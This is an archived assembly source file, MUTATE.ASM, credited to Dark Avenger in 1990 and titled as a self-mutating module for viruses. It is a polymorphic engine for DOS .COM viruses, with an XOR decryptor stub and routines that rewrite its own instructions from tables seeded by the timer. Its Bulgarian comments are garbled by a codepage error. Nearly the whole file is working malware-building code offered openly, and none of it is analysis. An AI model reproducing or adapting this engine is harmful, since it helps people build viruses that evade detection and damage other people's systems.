home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MUTATE.ASM < prev    next >
Assembly Source File  |  1990-06-10  |  3KB  |  188 lines

  1.     page    ,132
  2.     name    mutate
  3.     title    MUTATE - A Self-mutating Module for Viruses
  4.     .radix    16
  5.     .model    tiny
  6.     .code
  7.  
  8. ; This source code is a copyrighted material
  9. ; (C) 1990 DARK AVENGER
  10.  
  11.     org    100
  12.  
  13. timer    equ    46C
  14.  
  15. start:
  16.     jmp    prog
  17.  
  18. ; äѬ«ñ¿░á «▒¡«ó¡á▓á ╖á▒▓ ¿ «»░Ññѽ┐ ¡«¼Ñ░á ¡á úÑ¡Ñ░á╢¿┐▓á ¿ áñ░Ñ▒á ¡á v_entry.
  19. ; çá ñá ¡á»░áó¿ »«▒½Ññ¡«▓«, óº¿¼Ñ «»Ñ░á¡ñá ¡á JMP-a, ¬«⌐▓« ▓░┐íóá ñá ▒▓«¿ ¡á
  20. ; áñ░Ñ▒ 100, ▓.Ñ. ¡á»░áóÑ¡« Ñ ▒Ἣ ºá .COM ┤á⌐½«óÑ.
  21.  
  22. v_entry:
  23.     xchg    ax,bp
  24.     mov    si,100
  25.     inc    si
  26.     add    si,[si]
  27.     mov    di,si
  28.     xor    dx,dx
  29.     mov    cx,(top-encrypt)/2-1
  30.     push    cx
  31. calcgen:
  32.     xor    dx,[si+encrypt-v_entry+2]
  33.     org    $-1
  34.     inc    si
  35.     inc    si
  36.     dec    cx
  37.     jns    calcgen
  38.     pop    ax
  39. decrypt:
  40.     xor    [di+encrypt-v_entry+2],dx
  41.     org    $-1
  42.     inc    di
  43.     inc    di
  44.     dec    ax
  45.     jns    decrypt
  46. encrypt:
  47.     xchg    si,si        ;ÆѺ¿ ¿¡▒▓░│¬╢¿¿ ▒á ¡Ñ«í╡«ñ¿¼¿
  48.     xchg    dx,dx
  49.     add    si,encrypt-top+2
  50.     dec    dx
  51.  
  52. ; Æ│¬ ▓░┐íóá ñá ▒Ñ ▒½«ª¿ ¿¡¿╢¿á½¿º¿░á╣á▓á ╖á▒▓ ¡á ó¿░│▒á. Åá░á¼Ñ▓░¿:
  53. ;   DX = -¡«¼Ñ░ ¡á úÑ¡Ñ░á╢¿┐▓á
  54. ;   SI = áñ░Ñ▒ ¡á Ñ▓¿¬Ñ▓á v_entry.
  55.  
  56. ; . . .
  57. prog:
  58.     push    ds
  59.     xor    ax,ax
  60.     mov    ds,ax
  61.     mov    ax,ds:[timer]
  62.     pop    ds
  63.     call    mutate
  64.     mov    ax,4C00
  65.     int    21
  66.  
  67. ; Æế »«ñ»░«ú░á¼á ▒║ºñáóá ▒½│╖á⌐¡á ¼│▓á╢¿┐ ¡á ñѬ«ñ¿░á╣á▓á ╖á▒▓. Åá░á¼Ñ▓░¿:
  68. ;   AX = ▒½│╖á⌐¡« ╖¿▒½« (óºÑ▓« «▓ 0:46C)
  69.  
  70. mutate:
  71.     cld
  72.     xor    dx,dx
  73.     push    cs
  74.     pop    ds
  75.     mov    cx,90
  76.     div    cx
  77.     call    getcode
  78.     mov    ds:[15],al
  79.     call    getcode
  80.     mov    ds:[1E],al
  81.     xchg    ax,dx
  82.     mov    dl,6
  83.     div    dl
  84.     mov    si,offset muttbl
  85.     mov    bx,offset xlatbl1
  86.     call    buildblk
  87.     mov    [si],al
  88.     inc    si
  89.     mov    bx,offset xlatbl2
  90.     call    buildblk2
  91.     mov    bx,offset xlatbl3
  92.     call    buildblk2
  93.     mov    bx,offset muttbl-1
  94.     mov    si,offset xlatdat
  95.     mov    cx,xlatbl1-xlatdat
  96. nextgen:
  97.     lodsb
  98.     test    al,al
  99.     jz    cantchg
  100.     push    ax
  101.     and    al,111b
  102.     xlat
  103.     mov    ah,0F8
  104.     xchg    ax,dx
  105.     pop    ax
  106.     push    cx
  107.     mov    cl,3
  108.     shr    al,cl
  109.     jz    skipxlat
  110.     xlat
  111.     shl    al,cl
  112.     jz    skipxlat
  113.     xlat
  114.     shl    al,cl
  115.     or    dl,al
  116.     mov    dh,0c0
  117. skipxlat:
  118.     pop    cx
  119.     and    [si-(xlatdat+1-v_entry)],dh
  120.     or    [si-(xlatdat+1-v_entry)],dl
  121. cantchg:
  122.     loop    nextgen
  123.     ret
  124.  
  125. buildblk2:
  126.     mov    al,ah
  127. buildblk:
  128.     shr    al,1
  129.     mov    dl,al
  130.     push    ax
  131.     adc    al,1
  132.     cmp    al,3
  133.     jb    setblk
  134.     sub    al,3
  135. setblk:
  136.     or    dl,al
  137.     xlat
  138.     mov    [si],al
  139.     inc    si
  140.     pop    ax
  141.     xlat
  142.     mov    [si],al
  143.     inc    si
  144.     mov    al,dl
  145.     xor    al,3
  146.     xlat
  147.     ret
  148.  
  149. getcode:
  150.     shr    dx,1
  151.     mov    al,79
  152.     jnc    got
  153.     or    al,100b
  154. got:
  155.     ret
  156.  
  157. xlatdat db    0,4,0,0,4,0,26,0
  158.     db    2c,0,9,2,0,0,2,0
  159.     db    0e,0,4,4,2,0,0,3
  160.     db    0,0f,0,5,5,3,0,0
  161.     db    0,4,0,1
  162.  
  163. xlatbl1 db    0,1,2
  164. xlatbl2 db    3,6,7
  165. xlatbl3 db    7,4,5
  166.  
  167. chksum    dw    1A03        ;è«¡▓░«½¡á ▒│¼á ¡á ó¿░│▒á.
  168. ; éìêîÇìêà! Æế ¬«¡▓░«½¡á ▒│¼á ▓░┐íóá ñá ▒Ñ ▒¼Ñ▓¡Ñ ¡á ░║¬á. Æ┐ ▒Ñ ▒¼┐▓á ¬á▓«
  169. ; ▒Ñ ÑXOR-¡á▓ ó▒¿╖¬¿ 16-í¿▓«ó¿ ñ│¼¿ ¼Ñªñ│ encrypt ¿ top. ü░«┐ ¿¼ ▓░┐íóá ñá í║ñÑ
  170. ; ¡Ñ╖Ñ▓¡« ╖¿▒½«, á «▒óÑ¡ ▓«óá ▒Ἷ┐ Ñ▓¿¬Ñ▓ chksum ▓░┐íóá ñá í║ñÑ ¡á ú░á¡¿╢á ¡á
  171. ; ñ│¼á. ä¿░Ѭ▓¿ó¿▓Ñ errnz ó ¬░á┐ ¡á ┤á⌐½á «▒¿ú│░┐óá▓ ▓«óá. Ä▒óÑ¡ ▓«óá á¬« ¼Ñªñ│
  172. ; encrypt ¿ top ¿¼á ¡┐¬á¬ó¿ ñá¡¡¿ ¿½¿ ¬«ñ ¬«¿▓« ▒Ñ »░«¼Ñ¡┐▓, ▓┐ ▓░┐íóá ñá ▒Ñ
  173. ; ▒¼┐▓á »« «»¿▒á¡¿┐ á½ú«░¿▓║¼ »░¿ ó▒┐¬« ºá░áº┐óá¡Ñ ¡á ┤á⌐½.
  174.  
  175. ; Æ│¬ ▓░┐íóá ñá ▒Ñ ▒½«ª¿ «▒▓á¡á½á▓á ╖á▒▓ «▓ ó¿░│▒á
  176.  
  177. ; . . .
  178.  
  179. top:
  180.     .errnz    (encrypt-v_entry) mod 2
  181.     .errnz    (top-encrypt) mod 4-2
  182.     .errnz    (top-v_entry) mod 2
  183.     .errnz    (chksum-v_entry) mod 2
  184.  
  185. muttbl    db    7 dup(?)    ;Éáí«▓¡á «í½á▒▓ ºá »«ñ»░«ú░á¼á▓á mutate
  186.  
  187.     end    start
  188.